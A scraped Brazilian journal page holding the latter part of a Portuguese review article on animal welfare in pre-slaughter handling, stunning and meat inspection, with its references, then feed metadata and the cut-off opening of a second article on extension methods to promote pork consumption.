<p class="wp-block-paragraph">Os critérios de inclusão contemplaram produções científicas que abordassem manejo pré-abate, fisiologia do estresse animal, procedimentos de insensibilização e sangria, qualidade da carne e atuação da inspeção sanitária. A análise do material selecionado ocorreu de forma interpretativa e integrativa, buscando estabelecer relações entre os fundamentos teóricos, as exigências normativas e as práticas operacionais observadas na indústria frigorífica.</p>



<p class="wp-block-paragraph">A organização dos dados foi estruturada em eixos temáticos, permitindo a construção de uma análise crítica sobre os desafios para a incorporação efetiva do bem-estar animal nos sistemas de inspeção de alimentos no Brasil.</p>



<p class="wp-block-paragraph"><strong>3. REVISÃO DA LITERATURA&nbsp;</strong></p>



<p class="wp-block-paragraph">A revisão da literatura foi organizada em eixos temáticos que contemplam fundamentos conceituais do bem-estar animal, aspectos fisiológicos do estresse, procedimentos de abate humanitário e a atuação da inspeção de alimentos no contexto brasileiro.</p>



<p class="wp-block-paragraph"><strong>3.1 CONCEITOS E FUNDAMENTOS DO BEM-ESTAR ANIMAL NO CONTEXTO DO ABATE</strong></p>



<p class="wp-block-paragraph">O conceito de bem-estar animal tem sido amplamente discutido e refinado ao longo das últimas décadas, assumindo papel central nas cadeias produtivas de alimentos de origem animal. De acordo com Broom (2011), o bem-estar animal refere-se ao estado do indivíduo em relação à sua capacidade de se adaptar ao ambiente, abrangendo aspectos físicos, fisiológicos e comportamentais. Essa definição afasta-se de interpretações simplistas e reforça a necessidade de avaliação objetiva das condições às quais os animais são submetidos, especialmente em sistemas intensivos de produção e abate.</p>



<p class="wp-block-paragraph">No contexto do abate industrial, o bem-estar animal ganha relevância particular, uma vez que as etapas finais da vida do animal concentram uma série de fatores potencialmente estressores, como transporte, descarga, jejum, mistura de lotes, condução até o box de insensibilização e os próprios procedimentos de insensibilização e sangria. Paranhos da Costa (2012) destaca que essas etapas representam pontos críticos, nos quais falhas operacionais podem desencadear respostas intensas de estresse, com consequências diretas tanto para o animal quanto para a qualidade do produto final.</p>



<p class="wp-block-paragraph">Além dos fatores estruturais e operacionais envolvidos no manejo pré-abate, organismos internacionais destacam que o transporte representa uma das etapas mais críticas para a manutenção do bem-estar animal, pois envolve mudanças ambientais, restrições alimentares e interações sociais que podem intensificar respostas fisiológicas de estresse. Diretrizes internacionais reforçam que práticas inadequadas durante transporte e abate estão diretamente associadas ao comprometimento do bem-estar e da qualidade dos produtos cárneos (FAO, 2013)</p>



<p class="wp-block-paragraph">A abordagem contemporânea do bem-estar animal no abate é fortemente influenciada pelo conceito das Cinco Liberdades, originalmente proposto pelo Farm Animal Welfare Council e amplamente difundido na literatura técnica. Embora esse modelo apresente limitações, ele ainda serve como referência para a formulação de normas e diretrizes, ao enfatizar a necessidade de minimizar dor, medo e sofrimento evitáveis. No Brasil, esses princípios foram progressivamente incorporados às normativas oficiais, refletindo uma convergência entre ciência, ética e regulamentação (BRASIL, 2017).</p>



<p class="wp-block-paragraph"><strong>3.2 MANEJO PRÉ-ABATE E RESPOSTAS AO ESTRESSE ANIMAL</strong></p>



<p class="wp-block-paragraph">O manejo pré-abate é reconhecido como um dos principais determinantes do bem-estar animal em frigoríficos e, consequentemente, da qualidade da carne. Segundo Paranhos da Costa &amp; Costa e Silva (2007), práticas inadequadas durante a condução, o uso excessivo de estímulos aversivos e a falta de padronização nos procedimentos aumentam significativamente a ocorrência de estresse, contusões e quedas, refletindo falhas na interação humano-animal.</p>



<p class="wp-block-paragraph">Do ponto de vista fisiológico, o estresse pré-abate desencadeia a ativação do eixo hipotálamo-hipófise-adrenal, resultando na liberação de catecolaminas e glicocorticoides. Essas alterações hormonais influenciam diretamente o metabolismo muscular, especialmente a utilização das reservas de glicogênio, elemento-chave para o processo de transformação do músculo em carne após o abate (LAWRIE &amp; LEDWARD, 2006). Quando o estresse é prolongado ou intenso, observa-se redução das reservas de glicogênio, o que compromete a queda normal do pH pós-morte e favorece o aparecimento de carne DFD.</p>



<p class="wp-block-paragraph">A avaliação do estresse em bovinos pode ser realizada por meio da análise de parâmetros fisiológicos e comportamentais, como frequência cardíaca, níveis hormonais e alterações no padrão locomotor, os quais permitem identificar situações de sofrimento e auxiliar na adoção de estratégias corretivas nos sistemas de produção. Estudos demonstram que esses indicadores constituem ferramentas confiáveis para mensuração do impacto do manejo sobre o bem-estar animal e a qualidade da carne (MELLO &amp; COSTA, 2010).</p>



<p class="wp-block-paragraph">Grandin (2014) enfatiza que muitos problemas associados ao manejo pré-abate não estão relacionados à infraestrutura em si, mas à forma como os animais são manejados pelos operadores. A autora destaca que treinamento contínuo, compreensão do comportamento animal e desenho adequado das instalações são estratégias eficazes para reduzir o estresse, melhorar o fluxo dos animais e aumentar a eficiência operacional dos frigoríficos.</p>



<p class="wp-block-paragraph"><strong>3.3 ESTRESSE PRÉ-ABATE E QUALIDADE FÍSICO-QUÍMICA DA CARNE</strong></p>



<p class="wp-block-paragraph">A relação entre estresse animal e qualidade da carne é amplamente documentada na literatura científica. Alterações no pH, na cor, na capacidade de retenção de água e na maciez da carne são frequentemente associadas a condições inadequadas de manejo antes do abate. Segundo Lawrie &amp; Ledward (2006), o equilíbrio entre a taxa de glicólise pós-morte e a temperatura muscular é determinante para a obtenção de carne com características desejáveis.</p>



<p class="wp-block-paragraph">No caso da carne PSE, mais comumente associada à espécie suína, o estresse agudo imediatamente antes do abate provoca rápida queda do pH enquanto a temperatura muscular ainda se encontra elevada, resultando em desnaturação proteica e perda de qualidade tecnológica. Já a carne DFD, observada com maior frequência em bovinos, está relacionada ao estresse crônico, que reduz as reservas de glicogênio e impede a adequada acidificação do músculo (LAWRIE &amp; LEDWARD, 2006).</p>



<p class="wp-block-paragraph">No Brasil, estudos conduzidos por Paranhos da Costa (2012) e Mondelli et al. (2016) reforçam que falhas no manejo pré-abate e na insensibilização estão diretamente associadas ao aumento de perdas econômicas, seja por descarte de carcaças, seja pela desvalorização comercial da carne. Esses achados evidenciam que o bem-estar animal não deve ser tratado como um elemento periférico, mas como um fator intrínseco à qualidade do produto.</p>



<p class="wp-block-paragraph">A relação entre bem-estar animal e qualidade da carne é amplamente documentada na literatura científica, evidenciando que práticas inadequadas de manejo elevam a ocorrência de alterações físico-químicas, como carnes PSE e DFD, além de reduzir o rendimento industrial. Pesquisas destacam que a adoção de técnicas de manejo racional contribui para a redução do estresse e para a melhoria dos padrões qualitativos da carne, favorecendo simultaneamente a eficiência produtiva e a sustentabilidade da cadeia pecuária (COSTA, PARANHOS DA COSTA &amp; GOMES, 2012).</p>



<p class="wp-block-paragraph"><strong>3.4 PROCEDIMENTOS DE INSENSIBILIZAÇÃO E SANGRIA</strong></p>



<p class="wp-block-paragraph">A insensibilização é uma etapa crítica do abate humanitário, cujo objetivo principal é tornar o animal inconsciente de forma rápida e eficaz, evitando dor e sofrimento até a morte por sangria. De acordo com Grandin (2014), a eficiência da insensibilização depende não apenas do método empregado, mas também da correta manutenção dos equipamentos e da capacitação dos operadores.</p>



<p class="wp-block-paragraph">Os sistemas de abate religioso Halal e Kosher correspondem a métodos específicos de abate adotados para atender exigências culturais e religiosas de comunidades islâmicas e judaicas, respectivamente, sendo amplamente praticados em frigoríficos brasileiros voltados à exportação para mercados do Oriente Médio, Norte da África, Estados Unidos e União Europeia. Esses métodos apresentam particularidades, especialmente no que se refere à insensibilização prévia, o que impõe desafios adicionais para a inspeção oficial no que tange à compatibilização entre o respeito às práticas religiosas, o atendimento à legislação vigente e a garantia do bem-estar animal. A literatura aponta que, quando conduzidos sob protocolos técnicos rigorosos e supervisão adequada, esses sistemas podem ser ajustados de modo a minimizar o sofrimento animal, reforçando a necessidade de atuação técnica qualificada da inspeção e de diálogo entre ciência, legislação e práticas culturais.</p>



<p class="wp-block-paragraph">No Brasil, os métodos de insensibilização permitidos variam conforme a espécie e são regulamentados por normativas específicas do Ministério da Agricultura e Pecuária. Entretanto, Mondelli et al. (2016) apontam que falhas na aplicação desses métodos, como posicionamento incorreto do equipamento ou tempo inadequado entre insensibilização e sangria, ainda são observadas em diversos estabelecimentos, comprometendo tanto o bem-estar animal quanto a qualidade da carne.</p>



<p class="wp-block-paragraph">A sangria, quando realizada de forma eficiente e imediatamente após a insensibilização, contribui para a morte rápida do animal e para a adequada exsanguinação da carcaça. Insensibilizações ineficazes ou sangrias tardias podem resultar em sofrimento desnecessário e em problemas tecnológicos, como retenção de sangue e alterações na coloração da carne (GRANDIN, 2014).</p>



<p class="wp-block-paragraph"><strong>3.5 ATUAÇÃO DA INSPEÇÃO DE ALIMENTOS E DESAFIOS NO CONTEXTO BRASILEIRO</strong></p>



<p class="wp-block-paragraph">A inspeção de alimentos exerce papel fundamental na garantia da segurança sanitária e da qualidade dos produtos de origem animal. No Brasil, o sistema de inspeção é estruturado em diferentes níveis, como o Serviço de Inspeção Federal, o Sistema Brasileiro de Inspeção de Produtos de Origem Animal e os serviços de inspeção estaduais e municipais. Esses sistemas possuem atribuições específicas, mas compartilham a responsabilidade de fiscalizar o cumprimento das normas relacionadas ao bem-estar animal no abate (BRASIL, 2017).</p>



<p class="wp-block-paragraph">Entretanto, diversos autores apontam que a atuação da inspeção ainda enfrenta desafios significativos, especialmente no que se refere à integração entre fiscalização, orientação técnica e promoção de melhorias contínuas. Paranhos da Costa (2012) destaca que a inspeção, muitas vezes, concentra-se em aspectos documentais e estruturais, enquanto questões comportamentais e operacionais, essenciais para o bem-estar animal, recebem menor atenção sistemática.</p>



<p class="wp-block-paragraph">Além disso, a heterogeneidade dos frigoríficos brasileiros, que variam amplamente em porte, nível tecnológico e capacitação de pessoal, impõe desafios adicionais à aplicação uniforme da legislação. Essa realidade reforça a necessidade de abordagens mais integradas, que reconheçam o bem-estar animal como um indicador estratégico de qualidade da carne e como um elemento central para a sustentabilidade da cadeia produtiva.</p>



<p class="wp-block-paragraph">Dessa forma, a literatura evidencia que, embora avanços normativos e científicos tenham sido alcançados, ainda persistem lacunas entre o conhecimento produzido e sua aplicação prática nos frigoríficos. Essa constatação sustenta a relevância do presente trabalho, ao indicar que a compreensão do problema requer análises mais aprofundadas e estratégias que articulem ciência, inspeção de alimentos e gestão operacional de forma integrada.</p>



<p class="wp-block-paragraph"><strong>4. DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>4.1 O BEM-ESTAR ANIMAL COMO EIXO ESTRATÉGICO DA QUALIDADE DA CARNE</strong></p>



<p class="wp-block-paragraph">A discussão dos resultados à luz da literatura evidencia que o bem-estar animal não pode ser compreendido como um elemento acessório ou meramente ético dentro dos sistemas de abate, mas como um eixo estruturante da qualidade da carne e da sustentabilidade da indústria frigorífica. Embora a legislação brasileira reconheça a importância do manejo humanitário, ainda persiste, na prática, uma dissociação entre os requisitos de bem-estar animal e os parâmetros tradicionalmente utilizados para avaliar a qualidade do produto final. Essa fragmentação contribui para a manutenção de práticas que atendem minimamente às exigências legais, mas não exploram plenamente os benefícios técnicos e econômicos associados à redução do estresse pré-abate.</p>



<p class="wp-block-paragraph">Autores como Paranhos da Costa (2012) e Grandin (2014) defendem que o bem-estar animal deve ser tratado como um indicador indireto, porém confiável, da eficiência do sistema produtivo. Animais manejados adequadamente apresentam menor incidência de contusões, menor variabilidade no pH final da carne e melhor rendimento de carcaça, fatores que impactam diretamente os resultados industriais. Nesse sentido, a inspeção de alimentos poderia exercer papel mais ativo ao incorporar avaliações sistemáticas de manejo e comportamento animal como parte integrante da análise da qualidade da carne, superando uma visão restrita centrada apenas na ausência de doenças ou contaminantes.</p>



<p class="wp-block-paragraph"><strong>4.2 MANEJO PRÉ-ABATE: ENTRE A NORMA E A PRÁTICA OPERACIONAL</strong></p>



<p class="wp-block-paragraph">A análise crítica do manejo pré-abate revela uma das principais fragilidades da cadeia frigorífica brasileira. Embora existam diretrizes claras quanto à condução, ao uso de equipamentos e à interação humano-animal, observa-se que a aplicação dessas normas é frequentemente condicionada a fatores como pressão por produtividade, rotatividade de mão de obra e ausência de programas contínuos de capacitação. Paranhos da Costa &amp; Costa e Silva (2007) destacam que o comportamento dos operadores é um dos principais determinantes do nível de estresse dos animais, muitas vezes superando a influência da infraestrutura disponível.</p>



<p class="wp-block-paragraph">Nesse contexto, a discussão aponta para a necessidade de reinterpretar o manejo pré-abate não apenas como uma etapa operacional, mas como um processo técnico que exige conhecimento específico sobre comportamento animal, fisiologia do estresse e suas repercussões na qualidade da carne. A literatura demonstra que intervenções simples, como a redução do uso de estímulos aversivos, a melhoria do fluxo dos animais e o respeito ao tempo de descanso pré-abate, são capazes de promover ganhos significativos tanto em bem-estar quanto em eficiência produtiva (GRANDIN, 2014).</p>



<p class="wp-block-paragraph">A inspeção de alimentos, ao limitar sua atuação à verificação pontual de conformidades, tende a perder a oportunidade de induzir mudanças estruturais no manejo. A discussão sugere que uma abordagem mais educativa e preventiva, alinhada a programas de autocontrole, poderia contribuir para reduzir a distância entre a norma e a prática cotidiana dos frigoríficos.</p>



<p class="wp-block-paragraph"><strong>4.3 ESTRESSE ANIMAL E IMPLICAÇÕES TECNOLÓGICAS NA QUALIDADE DA CARNE</strong></p>



<p class="wp-block-paragraph">Os achados discutidos à luz da literatura confirmam que o estresse animal exerce influência direta e mensurável sobre a qualidade físico-química da carne. A ocorrência de carnes DFD e PSE, amplamente descrita por Lawrie &amp; Ledward (2006), permanece como um indicador clássico de falhas no manejo pré-abate, refletindo tanto estresse crônico quanto agudo. Esses defeitos não apenas comprometem atributos sensoriais, como cor e maciez, mas também afetam a capacidade de retenção de água, o rendimento industrial e a aceitação do produto pelo consumidor.</p>



<p class="wp-block-paragraph">No cenário brasileiro, Mondelli et al. (2016) ressalta que perdas associadas à má qualidade da carne frequentemente são tratadas como inevitáveis ou inerentes ao processo produtivo, quando, na realidade, estão fortemente relacionadas a decisões gerenciais e práticas operacionais. Essa constatação reforça a importância de integrar o bem-estar animal às estratégias de gestão da qualidade, deslocando o foco de uma lógica corretiva para uma abordagem preventiva.</p>



<p class="wp-block-paragraph">A discussão evidencia, ainda, que a ausência de indicadores padronizados de bem-estar animal na rotina da inspeção dificulta a correlação sistemática entre manejo e qualidade da carne. A adoção de parâmetros observacionais simples, como quedas, vocalizações, escorregões e eficácia da insensibilização, conforme proposto por Grandin (2014), poderia fornecer subsídios valiosos para intervenções mais precisas e fundamentadas.</p>



<p class="wp-block-paragraph"><strong>4.4 INSENSIBILIZAÇÃO E SANGRIA: PONTO CRÍTICO ENTRE ÉTICA E EFICIÊNCIA</strong></p>



<p class="wp-block-paragraph">Os procedimentos de insensibilização e sangria configuram-se como um dos momentos mais sensíveis do abate industrial, tanto sob a ótica do bem-estar animal quanto da qualidade da carne. A literatura é consistente ao afirmar que a insensibilização ineficaz representa uma das principais causas de sofrimento evitável e de perdas tecnológicas no produto final (GRANDIN, 2014). Ainda assim, a discussão dos dados disponíveis indica que falhas nesses procedimentos continuam ocorrendo, mesmo em estabelecimentos sob inspeção oficial.</p>



<p class="wp-block-paragraph">Mondelli et al. (2016) destacam que problemas como posicionamento incorreto de equipamentos, manutenção inadequada e intervalos excessivos entre insensibilização e sangria são recorrentes e refletem deficiências na capacitação técnica e na supervisão dos processos. Tais falhas evidenciam que o cumprimento formal da legislação não garante, por si só, a eficácia dos procedimentos, sendo necessária uma abordagem mais integrada entre inspeção, gestão e treinamento.</p>



<p class="wp-block-paragraph">Nesse sentido, a discussão aponta que a inspeção de alimentos poderia ampliar seu escopo de atuação ao incorporar avaliações qualitativas da eficácia da insensibilização, indo além da simples verificação da existência de equipamentos homologados. Essa mudança de enfoque contribuiria para alinhar ética, ciência e eficiência produtiva, reforçando o papel do bem-estar animal como elemento central da qualidade da carne.</p>



<p class="wp-block-paragraph"><strong>4.5 DESAFIOS INSTITUCIONAIS E O PAPEL DA INSPEÇÃO DE ALIMENTOS</strong></p>



<p class="wp-block-paragraph">A atuação da inspeção de alimentos no Brasil enfrenta desafios estruturais que impactam diretamente a promoção do bem-estar animal nos frigoríficos. A heterogeneidade dos estabelecimentos, associada a limitações de recursos humanos e materiais, dificulta a aplicação uniforme das normas em todo o território nacional (BRASIL, 2017). Além disso, a multiplicidade de sistemas de inspeção, embora necessária para atender às diferentes escalas de produção, pode resultar em assimetrias na fiscalização e na orientação técnica.</p>



<p class="wp-block-paragraph">A harmonização entre normativas nacionais e diretrizes internacionais tem sido considerada elemento essencial para o fortalecimento das práticas de abate humanitário. Nesse contexto, o Código Sanitário para Animais Terrestres estabelece que os procedimentos de abate devem priorizar a redução do sofrimento por meio da adoção de protocolos técnicos padronizados, monitoramento contínuo e capacitação profissional, visando assegurar níveis adequados de bem-estar animal e qualidade sanitária dos produtos de origem animal (OIE, 2021).</p>



<p class="wp-block-paragraph">Paranhos da Costa (2012) argumenta que a inspeção, ao assumir predominantemente uma postura fiscalizatória, tende a perder sua capacidade de atuar como agente de transformação. A discussão reforça que o fortalecimento do papel educativo da inspeção, aliado à valorização do médico-veterinário como agente técnico e não apenas como fiscal, é fundamental para promover mudanças sustentáveis nas práticas de abate.</p>



<p class="wp-block-paragraph">Outro ponto crítico discutido refere-se à necessidade de integrar o bem-estar animal aos programas de autocontrole e aos sistemas de gestão da qualidade. Quando tratado de forma isolada, o bem-estar tende a ser percebido como custo adicional; quando integrado à lógica da qualidade e da eficiência, passa a ser reconhecido como investimento estratégico. Essa mudança de paradigma é essencial para que a indústria frigorífica brasileira responda às crescentes demandas do mercado e da sociedade por sistemas de produção mais responsáveis.</p>



<p class="wp-block-paragraph"><strong>4.6 BEM-ESTAR ANIMAL COMO VANTAGEM COMPETITIVA E DEMANDA SOCIAL</strong></p>



<p class="wp-block-paragraph">A discussão final aponta que o bem-estar animal ultrapassa os limites do debate técnico e se insere em um contexto mais amplo de expectativas sociais, reputação institucional e acesso a mercados. Consumidores e países importadores têm incorporado critérios éticos às suas decisões de compra, exigindo transparência e rastreabilidade nos sistemas de produção de alimentos de origem animal. Nesse cenário, frigoríficos que adotam práticas consistentes de manejo humanitário tendem a se diferenciar positivamente.</p>



<p class="wp-block-paragraph">Grandin (2014) enfatiza que empresas que investem em bem-estar animal não apenas reduzem perdas e melhoram a qualidade da carne, mas também fortalecem sua imagem institucional e sua resiliência frente a crises. A discussão sugere que, no Brasil, esse potencial ainda é subexplorado, em parte devido à visão limitada do bem-estar animal como obrigação legal e não como componente estratégico da cadeia produtiva.</p>



<p class="wp-block-paragraph">Assim, a análise integrada dos aspectos técnicos, legais e operacionais discutidos neste trabalho reforça que os desafios para a incorporação efetiva do bem-estar animal na inspeção de alimentos são complexos e multifatoriais. Contudo, a literatura sustenta que avanços significativos são possíveis quando ciência, gestão e inspeção atuam de forma articulada, reconhecendo o bem-estar animal como um elemento central para a qualidade da carne, a sustentabilidade da indústria frigorífica e a legitimidade social da produção de alimentos de origem animal.</p>



<p class="wp-block-paragraph"><strong>5. CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">A análise desenvolvida ao longo deste artigo permite concluir que o bem-estar animal constitui um elemento central e indissociável da qualidade da carne e da eficiência dos sistemas de abate, ultrapassando uma abordagem estritamente ética ou normativa. A literatura científica sustenta que práticas adequadas de manejo pré-abate, insensibilização e sangria exercem influência direta sobre os parâmetros físico-químicos da carne, o rendimento industrial e a redução de perdas econômicas, evidenciando que o respeito às necessidades dos animais converge com os interesses produtivos da indústria frigorífica.</p>



<p class="wp-block-paragraph">Constata-se que, embora o arcabouço legal brasileiro apresente diretrizes relevantes para a proteção dos animais durante o abate, sua efetividade depende, em grande medida, da forma como essas normas são interpretadas e aplicadas no contexto operacional. A inspeção de alimentos, nesse cenário, assume papel estratégico não apenas como instância fiscalizadora, mas como agente técnico capaz de promover mudanças estruturais por meio da orientação, da educação sanitária e da integração do bem-estar animal aos programas de autocontrole e gestão da qualidade.</p>



<p class="wp-block-paragraph">Os resultados discutidos indicam que a dissociação entre bem-estar animal e qualidade da carne ainda persiste em parte significativa da cadeia produtiva, limitando o potencial de avanços técnicos e econômicos. A incorporação sistemática de indicadores de bem-estar, aliados à capacitação contínua da mão de obra e ao fortalecimento da atuação do médico-veterinário, emerge como caminho fundamental para a consolidação de práticas mais eficientes, éticas e sustentáveis.</p>



<p class="wp-block-paragraph">Como limitação do estudo, destaca-se seu caráter teórico-reflexivo, baseado em revisão narrativa da literatura, o que indica a necessidade de pesquisas empíricas futuras que avaliem diretamente indicadores de bem-estar animal em frigoríficos brasileiros, ampliando a compreensão prática do fenômeno.</p>



<p class="wp-block-paragraph">Por fim, conclui-se que o bem-estar animal deve ser reconhecido como um diferencial competitivo e uma resposta às crescentes demandas sociais por sistemas de produção mais responsáveis, contribuindo para a qualidade da carne, sustentabilidade da indústria frigorífica e legitimidade social da produção de alimentos de origem animal.</p>



<p class="wp-block-paragraph"><strong>6. REFERÊNCIAS BIBLIOGRÁFICAS</strong></p>



<p class="wp-block-paragraph">BRASIL. Ministério da Agricultura, Pecuária e Abastecimento. Regulamento da Inspeção Industrial e Sanitária de Produtos de Origem Animal – RIISPOA. Decreto nº 9.013, de 29 de março de 2017.</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Agricultura, Pecuária e Abastecimento. Instrução Normativa nº 3, de 17 de janeiro de 2000.</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Agricultura, Pecuária e Abastecimento. Instrução Normativa nº 56, de 6 de novembro de 2008.</p>



<p class="wp-block-paragraph">BROOM, D. M. Animal welfare: concepts and measurement. Journal of Animal Science, v. 69, p. 4167-4175, 1991.</p>



<p class="wp-block-paragraph">BROOM, D. M. A history of animal welfare science. Acta Biotheoretica, v. 59, p. 121-137, 2011.</p>



<p class="wp-block-paragraph">GRANDIN, T. Improving animal welfare: a practical approach. Wallingford: CAB International, 2010.</p>



<p class="wp-block-paragraph">GRANDIN, T. Animal welfare and society concerns finding the missing link. Meat Science, v. 98, p. 461-469, 2014.</p>



<p class="wp-block-paragraph">LAWRIE, R. A.; LEDWARD, D. A. Ciência da carne. 6. ed. Porto Alegre: Artmed, 2006.</p>



<p class="wp-block-paragraph">MONDELLI, M. et al. Abate humanitário e qualidade da carne. Revista Brasileira de Saúde e Produção Animal, v. 17, p. 445-456, 2016.</p>



<p class="wp-block-paragraph">PARANHOS DA COSTA, M. J. R. Ambiência e bem-estar animal em sistemas de produção. Jaboticabal: FUNEP, 2012.</p>



<p class="wp-block-paragraph">PARANHOS DA COSTA, M. J. R.; COSTA E SILVA, E. V. Comportamento e bem-estar de bovinos e suas relações com o manejo. Revista Brasileira de Zootecnia, v. 36, p. 103-109, 2007.</p>



<p class="wp-block-paragraph">WOAH – World Organisation for Animal Health. Terrestrial Animal Health Code. Paris, 2023.</p>



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<p class="has-text-align-right wp-block-paragraph"></p>
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		<title>DESENVOLVIMENTO DE METODOLOGIAS EXTENSIONISTAS PARA DESMISTIFICAR O CONSUMO DE CARNE SUÍNA NO BRASIL </title>
		<link>https://revistaft.com.br/desenvolvimento-de-metodologias-extensionistas-para-desmistificar-o-consumo-de-carne-suina-no-brasil/</link>
		
		<dc:creator><![CDATA[Revistaft FA]]></dc:creator>
		<pubDate>Sat, 17 Jan 2026 23:26:37 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/fa10202601172026 Karine de Souza Teixeira1, Djelany Moté de Souza1, Ana Carolina Silva Lage1,&#160;Paula Fernanda Chaves Soares2, Dala Kezen Vieira Hardman Leite2, Daniela&#160;Mello Vianna Ferrer2, Marina Jorge de Lemos2, Thiago Ventura Scoralick Braga3, Victor Machado Mendes dos Santos4&#160; RESUMO &#160; O consumo da carne suína no Brasil é influenciado por mitos que circundam este [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/fa10202601172026</p>



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<p class="has-text-align-right wp-block-paragraph">Karine de Souza Teixeira<sup>1</sup>, Djelany Moté de Souza<sup>1</sup>, Ana Carolina Silva Lage<sup>1</sup>,&nbsp;Paula Fernanda Chaves Soares<sup>2</sup>, Dala Kezen Vieira Hardman Leite<sup>2</sup>, Daniela&nbsp;Mello Vianna Ferrer<sup>2</sup>, Marina Jorge de Lemos<sup>2</sup>, Thiago Ventura Scoralick Braga<sup>3</sup>, Victor Machado Mendes dos Santos<sup>4</sup>&nbsp;</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<h5 class="wp-block-heading"><strong>RESUMO </strong>&nbsp;</h5>



<p class="wp-block-paragraph">O consumo da carne suína no Brasil é influenciado por mitos que circundam este sistema de criação tão importante, tanto no âmbito social quanto no âmbito econômico. Atualmente, mitos são criados sobre a carne suína baseados em situações antigas que não se aplicam ao sistema de criação atual. A qualidade da carne oferecida hoje é superior à que era oferecida há 30 anos, sendo um resultado positivo, que pode auxiliar na promoção da carne suína diante do menor consumo nacional. Baseado neste contexto, o acesso às informações acerca dos sistemas de produção, qualidade do produto e segurança alimentar pela população é essencial para que o pensamento seja modificado e a carne suína seja mais aceita. Portanto, o objetivo do presente trabalho foi desenvolver metodologias extensionistas para desmistificar o consumo de carne suína no Brasil. Neste intuito, a presente pesquisa foi do tipo experimento de campo, com levantamento de dados. O experimento foi realizado na Universidade Iguaçu &#8211; Campus Nova Iguaçu – RJ e com auxílio de plataformas digitais, além das redes sociais. Para o levantamento das informações referentes ao consumo de carne suína no Brasil, um questionário foi distribuído com auxílio das redes sociais e de plataformas como o google forms. Após este levantamento e a definição do perfil dos consumidores, os mesmos foram classificados em relação às respostas coletadas e metodologias extensionistas como palestras, material didático, vídeos esclarecedores e panfletos foram desenvolvidos e aplicados de forma a promover a carne suína brasileira. Estas metodologias foram aplicadas de forma online de forma a alcançar o maior número de pessoas possível e de forma presencial, utilizando como base o município de Nova Iguaçu. A análise estatística dos dados se baseou em uma análise descritiva, com cálculo da frequência de cada não conformidade, por meio de média aritmética simples.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras chave</strong>: consumo de carne suína; mitos; qualidade produtiva; suinocultura&nbsp;</p>



<h5 class="wp-block-heading"><strong>INTRODUÇÃO&nbsp;</strong></h5>



<p class="wp-block-paragraph">A suinocultura brasileira representa uma atividade promissora e essencial para a economia e o desenvolvimento social das regiões produtoras, além de desempenhar papel fundamental na alimentação da população mundial, por constituir uma importante fonte de proteína de alta qualidade e custo acessível (ABPA, 2023). Entre as diferentes fontes de proteína de origem animal disponíveis no mercado, a carne suína destaca-se como a segunda mais consumida no mundo. Até recentemente, ocupava a primeira posição; contudo, em razão da redução do plantel mundial causada por questões sanitárias, especialmente pela ocorrência da peste suína africana, houve elevação no preço da carne, o que pode justificar sua queda no ranking global de consumo (Bragagnolo, 2020).&nbsp;</p>



<p class="wp-block-paragraph">O Brasil ocupa a posição de quarto maior produtor e exportador de carne suína no mundo e, apesar desse destaque no cenário internacional, o consumo interno permanece relativamente baixo, com média aproximada de 20 kg por habitante ao ano. Esse valor é inferior ao observado em outros grandes países produtores, nos quais o consumo per capita médio gira em torno de 30 kg por habitante ao ano, caracterizando o Brasil como um dos principais produtores com menor consumo interno de carne suína (Jesus et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Nas últimas quatro décadas, a suinocultura nacional passou por avanços significativos, com a adoção de sistemas de produção altamente tecnificados, utilização de rações balanceadas, melhoramento genético dos animais, instalações modernas e rigoroso controle sanitário nas granjas. Apesar desses progressos na produção animal, ainda são observadas restrições por parte da população em relação ao consumo da carne suína, as quais estão majoritariamente associadas a conceitos equivocados e mitos disseminados acerca da produção e da qualidade desse alimento (Santos et al., 2012; Souza et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">O acesso da população a informações claras e confiáveis sobre os sistemas de produção, a qualidade do produto e a segurança alimentar é essencial para a mudança de percepção e para a maior aceitação da carne suína. Estudos indicam que pesquisas de mercado constituem ferramentas fundamentais para compreender e caracterizar o comportamento do consumidor, permitindo identificar preferências, hábitos de consumo e fatores que influenciam a decisão de compra. Essas informações são relevantes para subsidiar estratégias que visem atender às demandas do mercado consumidor e ampliar o consumo do produto (Muniz et al., 2015).&nbsp;</p>



<p class="wp-block-paragraph">Diante desse contexto, torna-se fundamental a avaliação do perfil do consumidor, com a identificação de seus principais hábitos e do nível de conhecimento sobre a carne suína, a fim de subsidiar ações educativas e de conscientização da população, contribuindo para a desmistificação de crenças equivocadas e para a valorização da suinocultura brasileira.&nbsp;</p>



<h5 class="wp-block-heading"><strong>MATERIAL E MÉTODOS&nbsp;&nbsp;</strong></h5>



<p class="wp-block-paragraph">A presente pesquisa caracterizou-se como um experimento de campo, com abordagem descritiva e levantamento de dados. O estudo foi desenvolvido na Universidade Iguaçu – Campus Nova Iguaçu – RJ, com o auxílio de plataformas digitais e redes sociais, além da aplicação presencial de questionários. Inicialmente, realizou-se um levantamento de dados acerca do consumo de carne suína no Brasil por meio da aplicação de questionários online, utilizando a plataforma Google Forms, e presenciais, permitindo identificar o perfil sociodemográfico dos respondentes, bem como o nível de conhecimento relacionado ao consumo, à qualidade e à segurança da carne suína. O questionário foi estruturado em duas etapas: a primeira composta por questões destinadas à caracterização do perfil dos participantes, incluindo idade, escolaridade, sexo, área de atuação profissional (quando aplicável) e região de residência; e a segunda etapa composta por perguntas relacionadas aos hábitos de consumo de carne suína, tais como frequência de consumo, motivos para o consumo ou não consumo, preferências, locais de compra e conhecimento acerca dos sistemas de criação, incluindo aspectos relacionados às instalações, nutrição, genética e sanidade dos animais. Após o levantamento das informações e a definição do perfil dos consumidores, os respondentes foram classificados de acordo com as respostas obtidas, possibilitando o desenvolvimento de metodologias extensionistas com o objetivo de esclarecer mitos historicamente associados ao consumo de carne suína e promover esse alimento de forma ampla e acessível. Entre as ações extensionistas desenvolvidas destacaram-se a elaboração e a 